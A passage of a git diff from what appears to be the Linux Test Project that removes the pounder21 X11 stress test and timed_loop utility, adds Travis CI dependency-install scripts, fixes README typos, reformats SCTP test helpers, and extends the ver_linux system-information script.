-		echo WARNING: drift exceeded $DWT ppm: $a $b \
-		$c $d $e $field $drift $garbage
-	fi
-done
-
-exit $ERRORS
diff --git a/tools/pounder21/test_scripts/xterm_stress b/tools/pounder21/test_scripts/xterm_stress
deleted file mode 100755
index f576976..0000000
--- a/tools/pounder21/test_scripts/xterm_stress
+++ /dev/null
@@ -1,176 +0,0 @@
-#!/bin/bash -x
-
-# Start an X session, fire up some xterms and GL apps, then bounce them
-# all over the screen.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# X11 testing -- this is a daemon test!
-# Run for 20m
-TEST_DURATION=1200
-
-# Always start X.
-NEED_TO_START_X=1
-#if [ -z "$DISPLAY" ]; then
-#	NEED_TO_START_X=1
-#fi
-
-# Kill test if we don't want it.
-if [ -z "$DO_X_TESTS" -o "$DO_X_TESTS" == "0" ]; then
-	echo "X11 testing is off."
-	exit -1
-fi
-
-# Can we find the startx script?
-RAW_X_SERVER=0
-XSERVER_FILE=`which startx 2> /dev/null`
-if [ -z "$XSERVER_FILE" -o ! -x "$XSERVER_FILE" ]; then
-	RAW_X_SERVER=1
-	XSERVER_FILE=`which X 2> /dev/null`
-	if [ -z "$XSERVER_FILE" -o ! -x "$XSERVER_FILE" ]; then
-		echo "startx script not found."
-		exit -1
-	fi
-fi
-
-# Count X servers
-OLD_XSERVERS=`pgrep -l X | grep -v Xprt | wc -l`
-
-# Start X server
-if [ $NEED_TO_START_X -eq 1 ]; then
-	echo "xterm_stress: Starting X..."
-
-	rm -rf /var/log/Xorg.2.log /var/log/XFree86.2.log
-
-	export DISPLAY=:2
-	if [ $RAW_X_SERVER -eq 0 ]; then
-		$XSERVER_FILE -- $DISPLAY -ac vt9 &
-	else
-		$POUNDER_HOME/timed_loop $TEST_DURATION $XSERVER_FILE $DISPLAY -ac vt9 &
-	fi
-
-	while true; do
-		NEW_XSERVERS=`pgrep -l X | grep -v Xprt | wc -l`
-		if [ $NEW_XSERVERS -gt $OLD_XSERVERS ]; then
-			export XPID=`pgrep -l X -n | grep -v Xprt | awk -F " " '{print $1}'`
-			echo -n " -$XPID" >> $POUNDER_PIDFILE
-			break
-		fi
-	done
-fi
-
-trap 'kill -4 $XPID' 15
-
-# Did we see any failures?
-LOGFILE=`ls /var/log/X*.2.log`
-ERRORS=`egrep -ic "(fatal)" $LOGFILE`
-if [ $ERRORS -gt 0 ]; then
-	if [ $ERRORS -eq 255 ]; then
-		ERRORS=254
-	fi
-	cp $LOGFILE $POUNDER_TMPDIR/x-log-$XPID
-	kill -4 $XPID
-	exit $ERRORS
-fi
-
-# Now start the window manager if we couldn't find startx.
-if [ $NEED_TO_START_X -eq 1 -a $RAW_X_SERVER -eq 1 ]; then
-	sleep 5
-	echo "xterm_stress: Starting twm - 5s"
-	twm &
-fi
-
-# Sleep a little more so that the session can start before
-# we start flooding X with crud.
-sleep 15
-
-# sets the list delimiter to :
-IFS=:
-# Add some screensavers to the path (OpenGL testing)
-export PATH=$PATH:/usr/lib/xscreensaver:/usr/X11R6/lib/xscreensaver
-
-# command list
-cmd="dmesg:ls -l:cat /var/log/messages:dmesg:ls -l:cat /var/log/messages"
-xcmd="sproingies -fps -delay 0:flyingtoasters -fps -delay 0:glmatrix -fps -delay 0"
-
-# Begin logging
-xterm -geom 80x25+0+0 -e "bash -c $POUNDER_SRCDIR/dump_xserver_statm" &
-
-#start text-based programs
-for i in $cmd
-do
-	exe="while true; do $i; done"
-	xterm -geometry 80x25`$POUNDER_SRCDIR/randacoords/coords 600 400` -e "bash -c '$exe'" &
-	sleep 1
-done
-
-#start gui programs
-for i in $xcmd
-do
-	bash -c "$i" &
-	sleep 1
-done
-
-# Put up a top window for top monitoring.
-xterm -geom 100x9+0+0 -e top &
-echo "xterm_stress: Test started"
-
-# Now make the windows go bonkers!
-$POUNDER_SRCDIR/xbonkers/xbonkers -i 500 -s 10000 &
-
-# If we started X via startx, we need to wait 1200s and then
-# kill $XPID.
-if [ $RAW_X_SERVER -eq 0 ]; then
-	sleep $TEST_DURATION
-	kill -4 $XPID
-fi
-
-# Track the number of times we wait for X server to die.
-DIE_TIMEOUT_LOOPS=0
-
-# Loop until the X server goes away
-while true; do
-	XSERVERS=`pgrep -l X | grep -v Xprt | wc -l`
-	if [ $XSERVERS -lt $OLD_XSERVERS ]; then
-		# Did we see any failures?
-		LOGFILE=`ls /var/log/X*.2.log`
-		ERRORS=`egrep -ic "(fatal)" $LOGFILE`
-
-		# There will always be one fatal error--we killed X.
-		exit $((ERRORS - 1))
-	fi
-	if [ $DIE_TIMEOUT_LOOPS -gt 180 ]; then
-		# Three minutes; try something stronger.
-		echo "First attempt to kill X server failed; trying -9."
-		kill -9 $XPID
-	fi
-	if [ $DIE_TIMEOUT_LOOPS -gt 360 ]; then
-		# Six minutes.  Still not dead?  Abort script.
-		echo "Second attempt to kill X server failed.  Aborting."
-		exit -1
-	fi
-
-	OLD_XSERVERS=$XSERVERS
-	DIE_TIMEOUT_LOOPS=$((DIE_TIMEOUT_LOOPS + 1))
-	sleep 1
-done
-
-echo "ERROR: Jumped to somewhere where we should never be."
-# We're not supposed to get here.
-exit 254
diff --git a/tools/pounder21/timed_loop.c b/tools/pounder21/timed_loop.c
deleted file mode 100644
index 51ceac5..0000000
--- a/tools/pounder21/timed_loop.c
+++ /dev/null
@@ -1,197 +0,0 @@
-/* Repeatedly run a program for a given length of time. */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <stdio.h>
-#include <string.h>
-#include <strings.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include "debug.h"
-
-static int res = 0;
-static char *progname;
-static pid_t test_pgrp;
-static FILE *out;
-
-static void int_func(int signum)
-{
-	pounder_fprintf(out,
-			"%s: Killed by interrupt.  Last exit code = %d.\n",
-			progname, res);
-	kill(-test_pgrp, SIGTERM);
-	exit(res);
-}
-
-static void alarm_func(int signum)
-{
-	pounder_fprintf(out, "%s: Killed by timer.  Last exit code = %d.\n",
-			progname, res);
-	kill(-test_pgrp, SIGTERM);
-	exit(res);
-}
-
-/*
-static void term_func(int signum) {
-	exit(res);
-}
-*/
-
-int main(int argc, char *argv[])
-{
-	int secs, stat;
-	pid_t pid;
-	unsigned int revs = 0;
-	struct sigaction zig;
-	int use_max_failures = 0;
-	int max_failures = 0;
-	int fail_counter = 1;
-
-	if (argc < 3) {
-		printf
-		    ("Usage: %s [-m max_failures] time_in_sec command [args]\n",
-		     argv[0]);
-		exit(1);
-	}
-	//by default, set max_failures to whatever the env variable $MAX_FAILURES is
-	char *max_failures_env = getenv("MAX_FAILURES");
-	max_failures = atoi(max_failures_env);
-
-	//if the -m option is used when calling timed_loop, override max_failures
-	//specified by $MAX_FAILURES with the given argument instead
-	if (argc > 4 && strcmp(argv[1], "-m") == 0) {
-		if ((max_failures = atoi(argv[2])) >= 0) {
-			use_max_failures = 1;
-		} else {
-			printf
-			    ("Usage: %s [-m max_failures] time_in_sec command [args]\n",
-			     argv[0]);
-			printf
-			    ("max_failures should be a nonnegative integer\n");
-			exit(1);
-		}
-	}
-
-	out = stdout;
-
-	if (use_max_failures) {
-		progname = rindex(argv[4], '/');
-		if (progname == NULL) {
-			progname = argv[4];
-		} else {
-			progname++;
-		}
-	} else {
-		progname = rindex(argv[2], '/');
-		if (progname == NULL) {
-			progname = argv[2];
-		} else {
-			progname++;
-		}
-	}
-
-	/* Set up signals */
-	memset(&zig, 0x00, sizeof(zig));
-	zig.sa_handler = alarm_func;
-	sigaction(SIGALRM, &zig, NULL);
-	zig.sa_handler = int_func;
-	sigaction(SIGINT, &zig, NULL);
-	sigaction(SIGTERM, &zig, NULL);
-
-	/* set up process groups so that we can kill the
-	 * loop test and descendants easily */
-
-	if (use_max_failures) {
-		secs = atoi(argv[3]);
-	} else {
-		secs = atoi(argv[1]);
-	}
-	alarm(secs);
-
-	while (1) {
-		pounder_fprintf(out, "%s: %s loop #%d.\n", progname,
-				start_msg, revs++);
-		pid = fork();
-		if (pid == 0) {
-			if (setpgrp() < 0) {
-				perror("setpgid");
-			}
-			// run the program
-			if (use_max_failures) {
-				if (argc > 5) {
-					stat = execvp(argv[4], &argv[4]);
-				} else {
-					stat = execvp(argv[4], &argv[4]);
-				}
-
-				perror(argv[4]);
-			} else {
-				if (argc > 3) {
-					stat = execvp(argv[2], &argv[2]);
-				} else {
-					stat = execvp(argv[2], &argv[2]);
-				}
-
-				perror(argv[2]);
-			}
-
-			exit(-1);
-		}
-
-		/* save the pgrp of the spawned process */
-		test_pgrp = pid;
-
-		// wait for it to be done
-		if (waitpid(pid, &stat, 0) != pid) {
-			perror("waitpid");
-			exit(1);
-		}
-		// interrogate it
-		if (WIFSIGNALED(stat)) {
-			pounder_fprintf(out, "%s: %s on signal %d.\n",
-					progname, fail_msg, WTERMSIG(stat));
-			res = 255;
-		} else {
-			res = WEXITSTATUS(stat);
-			if (res == 0) {
-				pounder_fprintf(out, "%s: %s.\n", progname,
-						pass_msg);
-			} else if (res < 0 || res == 255) {
-				pounder_fprintf(out,
-						"CHECK %s: %s with code %d.\n",
-						progname, abort_msg, res);
-				exit(-1);
-				// FIXME: add test to blacklist
-			} else {
-				pounder_fprintf(out,
-						"%s: %s with code %d.\n",
-						progname, fail_msg, res);
-				if (max_failures > 0) {
-					if (++fail_counter > max_failures) {
-						exit(-1);
-					}
-				}
-			}
-		}
-	}
-}
diff --git a/travis/centos.sh b/travis/centos.sh
new file mode 120000
index 0000000..1479a43
--- /dev/null
+++ b/travis/centos.sh
@@ -0,0 +1 @@
+fedora.sh
\ No newline at end of file
diff --git a/travis/debian.cross-compile.aarch64.sh b/travis/debian.cross-compile.aarch64.sh
new file mode 100755
index 0000000..4b07f18
--- /dev/null
+++ b/travis/debian.cross-compile.aarch64.sh
@@ -0,0 +1,7 @@
+#!/bin/sh
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+set -e
+
+apt install -y --no-install-recommends \
+	gcc-aarch64-linux-gnu \
+	libc6-dev-arm64-cross
diff --git a/travis/debian.cross-compile.ppc64le.sh b/travis/debian.cross-compile.ppc64le.sh
new file mode 100755
index 0000000..d8431bd
--- /dev/null
+++ b/travis/debian.cross-compile.ppc64le.sh
@@ -0,0 +1,7 @@
+#!/bin/sh
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+set -e
+
+apt install -y --no-install-recommends \
+	gcc-powerpc64le-linux-gnu \
+	libc6-dev-ppc64el-cross
diff --git a/travis/debian.i386.sh b/travis/debian.i386.sh
new file mode 100755
index 0000000..250d53b
--- /dev/null
+++ b/travis/debian.i386.sh
@@ -0,0 +1,19 @@
+#!/bin/sh
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+set -e
+
+dpkg --add-architecture i386
+apt update
+
+apt install -y --no-install-recommends \
+	linux-libc-dev:i386 \
+	gcc-multilib \
+	libacl1:i386 \
+	libaio1:i386 \
+	libcap2:i386 \
+	libc6-dev-i386 \
+	libc6:i386 \
+	libkeyutils1:i386 \
+	libnuma1:i386 \
+	libssl-dev:i386 \
+	libtirpc1:i386
diff --git a/travis/debian.minimal.sh b/travis/debian.minimal.sh
new file mode 100755
index 0000000..8e8bb62
--- /dev/null
+++ b/travis/debian.minimal.sh
@@ -0,0 +1,19 @@
+#!/bin/sh
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+set -e
+
+apt remove -y \
+    libacl1-dev \
+    libaio-dev \
+    libaio1 \
+    libcap-dev \
+    libcap2 \
+    libkeyutils-dev \
+    libkeyutils1 \
+    libmm-dev \
+    libnuma-dev \
+    libnuma1 \
+    libselinux1-dev \
+    libsepol1-dev \
+    libssl-dev \
+    libtirpc1
diff --git a/travis/debian.sh b/travis/debian.sh
new file mode 100755
index 0000000..3918a91
--- /dev/null
+++ b/travis/debian.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+set -e
+
+apt update
+
+apt install -y --no-install-recommends \
+    acl-dev \
+    autoconf \
+    automake \
+    build-essential \
+    debhelper \
+    devscripts \
+    clang \
+    gcc \
+    libacl1 \
+    libacl1-dev \
+    libaio-dev \
+    libaio1 \
+    libcap-dev \
+    libcap2 \
+    libc6 \
+    libc6-dev \
+    libkeyutils-dev \
+    libkeyutils1 \
+    libmm-dev \
+    libnuma-dev \
+    libnuma1 \
+    libselinux1-dev \
+    libsepol1-dev \
+    libssl-dev \
+    linux-libc-dev \
+    lsb-release
+
+apt install libtirpc1 libtirpc3 || true
diff --git a/travis/fedora.sh b/travis/fedora.sh
new file mode 100755
index 0000000..a463333
--- /dev/null
+++ b/travis/fedora.sh
@@ -0,0 +1,12 @@
+#!/bin/sh
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+set -e
+
+yum -y install \
+	autoconf \
+	automake \
+	make \
+	clang \
+	gcc \
+	findutils \
+	redhat-lsb-core
diff --git a/travis/opensuse.sh b/travis/opensuse.sh
new file mode 120000
index 0000000..11c5f4b
--- /dev/null
+++ b/travis/opensuse.sh
@@ -0,0 +1 @@
+tumbleweed.sh
\ No newline at end of file
diff --git a/travis/tumbleweed.sh b/travis/tumbleweed.sh
new file mode 100755
index 0000000..7fe40d1
--- /dev/null
+++ b/travis/tumbleweed.sh
@@ -0,0 +1,21 @@
+#!/bin/sh
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+set -e
+
+zypper --non-interactive install --no-recommends \
+	autoconf \
+	automake \
+	clang \
+	gcc \
+	make \
+	kernel-default-devel \
+	keyutils-devel \
+	libacl-devel \
+	libaio-devel \
+	libcap-devel \
+	libnuma-devel \
+	libopenssl-devel \
+	libselinux-devel \
+	libtirpc-devel \
+	linux-glibc-devel \
+	lsb-release
diff --git a/travis/ubuntu.sh b/travis/ubuntu.sh
new file mode 120000
index 0000000..0edcb8b
--- /dev/null
+++ b/travis/ubuntu.sh
@@ -0,0 +1 @@
+debian.sh
\ No newline at end of file
diff --git a/utils/ffsb-6.0-rc2/README b/utils/ffsb-6.0-rc2/README
index b4ba16e..0689ff4 100644
--- a/utils/ffsb-6.0-rc2/README
+++ b/utils/ffsb-6.0-rc2/README
@@ -59,7 +59,7 @@
 directio   - each call to open will be made using O_DIRECT
 alignio    - aligns all block operations for random reads and writes
              on 4k boundaries.
-bufferedio - currently ignorred: it is intended to use libc
+bufferedio - currently ignored: it is intended to use libc
              fread,rwrite, instead of just unix read and write calls
 verbose    - currently ignored
 
@@ -136,7 +136,7 @@
 
 	 If random_read is specified, then the each individual blocks
          will be read starting from a random point with the file, and
-         this will continune until the entire amount specifed has been
+         this will continue until the entire amount specified has been
          read.  This offset of each random block will be totally
          random to the byte level, unless the "alignio" global parameter
          is on, and then the reads will be 4096 byte aligned.  This is
@@ -156,7 +156,7 @@
 
 	 If random_write is specified, then the each individual blocks
          will be written starting from a random point with the file, and
-         this will continune until the entire amount specifed has been
+         this will continue until the entire amount specified has been
          written out.  This offset of each random block will be totally
          random to the byte level, unless the "alignio" global parameter
          is on, and then the writes will be 4096 byte aligned.  This
@@ -195,7 +195,7 @@
 There are three phases to running the benchmark, aging, fileset
 creates, and the benchmark phase.
 
-The create phase is carried out across all filesystems simultanously
+The create phase is carried out across all filesystems simultaneously
 with one dedicated thread per filesystem.
 
 After the create phase, sync() is called to ensure all dirty data gets
@@ -234,7 +234,7 @@
 
 Global parameters:
 
-Global Paramters are described above, the first three are always
+Global parameters are described above, the first three are always
 required. Example:
 
 ----------
diff --git a/utils/ffsb-6.0-rc2/rbt.h b/utils/ffsb-6.0-rc2/rbt.h
index 9495a7a..a77ce4f 100644
--- a/utils/ffsb-6.0-rc2/rbt.h
+++ b/utils/ffsb-6.0-rc2/rbt.h
@@ -41,7 +41,7 @@
  * - The contained TYPE class represents the objects stored in the tree.
  *   It has to support the copy constructor and the assignment operator (opr)
  * - cmp is a functor used to define the order of objects of class TYPE:
- *   This class has to support an operator() that recieves two objects from
+ *   This class has to support an operator() that receives two objects from
  *   the TYPE class and returns a negative, 0, or a positive integer,
  *   depending on the comparison result.
  *
diff --git a/utils/sctp/include/netinet/sctp.h b/utils/sctp/include/netinet/sctp.h
index 51f5bfb..47571cd 100644
--- a/utils/sctp/include/netinet/sctp.h
+++ b/utils/sctp/include/netinet/sctp.h
@@ -37,7 +37,9 @@
 #include <linux/types.h>
 #include <sys/socket.h>
 
-__BEGIN_DECLS
+#ifdef __cplusplus
+extern "C" {
+#endif
 
 typedef __s32 sctp_assoc_t;
 
@@ -862,6 +864,8 @@
 /* Return the address length for an address family. */
 int sctp_getaddrlen(sa_family_t family);
 
-__END_DECLS
+#ifdef __cplusplus
+}
+#endif
 
 #endif /* __linux_sctp_h__ */
diff --git a/utils/sctp/testlib/sctputil.c b/utils/sctp/testlib/sctputil.c
index 564925c..cb291e5 100644
--- a/utils/sctp/testlib/sctputil.c
+++ b/utils/sctp/testlib/sctputil.c
@@ -4,7 +4,7 @@
  * Copyright (C) 1999-2000 Motorola
  # Copyright (C) 2001 Nokia
  * Copyright (C) 2001 La Monte H.P. Yarroll
- * 
+ *
  * The SCTP implementation is free software;
  * you can redistribute it and/or modify it under the terms of
  * the GNU General Public License as published by
@@ -42,13 +42,13 @@
  */
 
 #include <stdio.h>
-#include <errno.h> 
+#include <errno.h>
 #include <ctype.h>
 #include <string.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/uio.h>
-#include <netinet/in.h> 
+#include <netinet/in.h>
 #include <sys/errno.h>
 #include <errno.h>
 #include <malloc.h>
@@ -70,7 +70,7 @@
 		       data->init.sinit_max_attempts);
 		printf("   sinit_max_init_timeo %d\n",
 		       data->init.sinit_max_init_timeo);
-		
+
 		break;
 	case SCTP_SNDRCV:
 		printf("SNDRCV\n");
@@ -82,9 +82,9 @@
 		printf("   sinfo_tsn     %u\n",    data->sndrcv.sinfo_tsn);
 		printf("   sinfo_cumtsn  %u\n",    data->sndrcv.sinfo_cumtsn);
 		printf("   sinfo_assoc_id  %u\n", data->sndrcv.sinfo_assoc_id);
-		
+
 		break;
-		
+
 	default:
 		printf("UNKNOWN CMSG: %d\n", type);
 		break;
@@ -93,7 +93,7 @@
 
 /* This function prints the message. */
 void
-test_print_message(int sk, struct msghdr *msg, size_t msg_len) 
+test_print_message(int sk, struct msghdr *msg, size_t msg_len)
 {
 	sctp_cmsg_data_t *data;
 	struct cmsghdr *cmsg;
@@ -132,7 +132,7 @@
 			for (i = 0; i < len - 1; ++i) {
                                 if (!isprint(text[i])) text[i] = '.';
                         }
-		
+
 			printf("%s", text);
 			text[msg_len-1] = save;
 
@@ -177,37 +177,37 @@
 /* Check if a buf/msg_flags matches a notification, its type, and possibly an
  * additional field in the corresponding notification structure.
  */
-void 
+void
 test_check_buf_notification(void *buf, int datalen, int msg_flags,
 			    int expected_datalen, uint16_t expected_sn_type,
 			    uint32_t expected_additional)
 {
 	union sctp_notification *sn;
-	
+
 	if (!(msg_flags & MSG_NOTIFICATION))
-		tst_brkm(TBROK, tst_exit, "Got a datamsg, expecting "
-			 "notification");
-	
+		tst_brkm(TBROK, tst_exit,
+			 "Got a datamsg, expecting notification");
+
 	if (expected_datalen <= 0)
 		return;
 
 	if (datalen != expected_datalen)
-		tst_brkm(TBROK, tst_exit, "Got a notification of unexpected "
-			 "length:%d, expected length:%d", datalen,
-			 expected_datalen);
-		
+		tst_brkm(TBROK, tst_exit,
+			 "Got a notification of unexpected length:%d, expected length:%d",
+			  datalen, expected_datalen);
+
 	sn = (union sctp_notification *)buf;
 	if (sn->sn_header.sn_type != expected_sn_type)
-		tst_brkm(TBROK, tst_exit, "Unexpected notification:%d"
-			 "expected:%d", sn->sn_header.sn_type,
-			  expected_sn_type);
-	
+		tst_brkm(TBROK, tst_exit,
+			 "Unexpected notification:%d expected:%d",
+			  sn->sn_header.sn_type, expected_sn_type);
+
 	switch(sn->sn_header.sn_type){
 	case SCTP_ASSOC_CHANGE:
 		if (sn->sn_assoc_change.sac_state != expected_additional)
-			tst_brkm(TBROK, tst_exit, "Unexpected sac_state:%d "
-				 "expected:%d", sn->sn_assoc_change.sac_state,
-				  expected_additional);
+			tst_brkm(TBROK, tst_exit,
+				 "Unexpected sac_state:%d expected:%d",
+				  sn->sn_assoc_change.sac_state, expected_additional);
 		break;
 	default:
 		break;
@@ -217,7 +217,7 @@
 /* Check if a message matches a notification, its type, and possibly an
  * additional field in the corresponding notification structure.
  */
-void 
+void
 test_check_msg_notification(struct msghdr *msg, int datalen,
 			    int expected_datalen, uint16_t expected_sn_type,
 			    uint32_t expected_additional)
@@ -237,35 +237,38 @@
 		    uint32_t expected_ppid)
 {
 	if (msg_flags & MSG_NOTIFICATION)
-		tst_brkm(TBROK, tst_exit, "Got a notification, expecting a"
-			 "datamsg");
+		tst_brkm(TBROK, tst_exit,
+			 "Got a notification, expecting a datamsg");
 
 	if (expected_datalen <= 0)
 		return;
 
 	if (datalen != expected_datalen)
-		tst_brkm(TBROK, tst_exit, "Got a datamsg of unexpected "
-			 "length:%d, expected length:%d", datalen,
-			 expected_datalen);
+		tst_brkm(TBROK, tst_exit,
+			 "Got a datamsg of unexpected length:%d, expected length:%d",
+			  datalen, expected_datalen);
 
 	if ((msg_flags & ~0x80000000) != expected_msg_flags)
-		tst_brkm(TBROK, tst_exit, "Unexpected msg_flags:0x%x "
-			 "expecting:0x%x", msg_flags, expected_msg_flags);
+		tst_brkm(TBROK, tst_exit,
+			 "Unexpected msg_flags:0x%x expecting:0x%x",
+			  msg_flags, expected_msg_flags);
 
 	if ((0 == expected_stream) && (0 == expected_ppid))
-		return; 
+		return;
 
 	if (!sinfo)
-		tst_brkm(TBROK, tst_exit, "Null sinfo, but expected "
-			 "stream:%d expected ppid:%d", expected_stream,
-			 expected_ppid);
+		tst_brkm(TBROK, tst_exit,
+			 "Null sinfo, but expected stream:%d expected ppid:%d",
+			  expected_stream, expected_ppid);
 
 	if (sinfo->sinfo_stream != expected_stream)
-		tst_brkm(TBROK, tst_exit, "stream mismatch: expected:%x "
-			 "got:%x", expected_stream, sinfo->sinfo_stream);
+		tst_brkm(TBROK, tst_exit,
+			 "stream mismatch: expected:%x got:%x",
+			  expected_stream, sinfo->sinfo_stream);
 	if (sinfo->sinfo_ppid != expected_ppid)
-		tst_brkm(TBROK, tst_exit, "ppid mismatch: expected:%x "
-			 "got:%x\n", expected_ppid, sinfo->sinfo_ppid);
+		tst_brkm(TBROK, tst_exit,
+			 "ppid mismatch: expected:%x got:%x\n",
+			  expected_ppid, sinfo->sinfo_ppid);
 }
 
 /* Check if a message corresponds to data, its length, msg_flags, stream and
@@ -306,7 +309,7 @@
 {
 	int i = len - 1;
 	int n;
-	unsigned char msg[] = 
+	unsigned char msg[] =
 		"012345678901234567890123456789012345678901234567890";
 	char *msg_buf, *p;
 
@@ -321,9 +324,9 @@
 		memcpy(p, msg, ((i > 50)?50:i));
 		p += n;
 		i -= n;
-	} while (i > 0); 
+	} while (i > 0);
 
-	msg_buf[len-1] = '\0'; 
+	msg_buf[len-1] = '\0';
 
 	return(msg_buf);
 }
@@ -356,8 +359,8 @@
 		return memcmp(&addr1->v4.sin_addr, &addr2->v4.sin_addr,
 			      sizeof(addr1->v4.sin_addr));
 	default:
-		tst_brkm(TBROK, tst_exit, "invalid address type %d",
-			 addr1->sa.sa_family);
+		tst_brkm(TBROK, tst_exit,
+			 "invalid address type %d", addr1->sa.sa_family);
 		return -1;
 	}
 }
@@ -375,13 +378,15 @@
 
 	error = sctp_getpaddrs(sk, asoc, &addrs);
 	if (-1 == error) {
-		tst_brkm(TBROK, tst_exit, "sctp_getpaddrs: %s", strerror(errno));
+		tst_brkm(TBROK, tst_exit,
+			  "sctp_getpaddrs: %s", strerror(errno));
 		return error;
 	}
 	if (error != count) {
 		sctp_freepaddrs(addrs);
-		tst_brkm(TBROK, tst_exit, "peer count %d mismatch, expected %d",
-			 error, count);
+		tst_brkm(TBROK, tst_exit,
+			 "peer count %d mismatch, expected %d",
+			  error, count);
 	}
 	addrbuf = addrs;
 	for (i = 0; i < count; i++) {
@@ -398,7 +403,8 @@
 		default:
 			errno = EINVAL;
 			sctp_freepaddrs(addrs);
-			tst_brkm(TBROK, tst_exit, "sctp_getpaddrs: %s", strerror(errno));
+			tst_brkm(TBROK, tst_exit,
+				 "sctp_getpaddrs: %s", strerror(errno));
 			return -1;
 		}
 		for (j = 0; j < count; j++) {
@@ -410,7 +416,8 @@
 	}
 	for (j = 0; j < count; j++) {
 		if (found[j] == 0) {
-			tst_brkm(TBROK, tst_exit, "peer address %d not found", j);
+			tst_brkm(TBROK, tst_exit,
+				 "peer address %d not found", j);
 		}
 	}
 	sctp_freepaddrs(addrs);
diff --git a/ver_linux b/ver_linux
index dc49a4c..f083c0d 100755
--- a/ver_linux
+++ b/ver_linux
@@ -7,18 +7,35 @@
 PATH=/sbin:/usr/sbin:/bin:/usr/bin:$PATH
 echo 'If some fields are empty or look unusual you may have an old version.'
 echo 'Compare to the current minimal requirements in Documentation/Changes.'
-echo ' '
 
+echo
+echo "`ls /etc/*release 2> /dev/null`"
 cat /etc/*release 2> /dev/null
 if [ $? = 1 ]; then
+   echo "`ls /usr/lib/*release 2> /dev/null`"
+   cat /usr/lib/*release 2> /dev/null
+fi
+if [ $? = 1 ]; then
    echo '/etc/issue:'
    cat /etc/issue 2> /dev/null
 fi
+if [ $? = 1 ]; then
+	echo 'lsb_release -a'
+	lsb_release -a 2> /dev/null
+fi
 
+echo
+echo 'uname:'
 uname -a
-echo ' '
+
+echo
+echo '/proc/cmdline'
+cat /proc/cmdline
+
+echo
 
 echo "Gnu C                 " `gcc --version 2>/dev/null | head -n 1`
+echo "Clang                 " `clang --version 2>/dev/null | head -n 1`
 
 make --version 2>&1 | awk -F, '{print $1}' | awk \
       '/GNU Make/{print "Gnu make              ",$NF}'
@@ -88,5 +105,9 @@
 free
 
 echo
-echo '/proc/cpuinfo'
-cat /proc/cpuinfo
+echo 'cpuinfo:'
+if which lscpu > /dev/null 2>&1; then
+	lscpu
+else
+	cat /proc/cpuinfo
+fi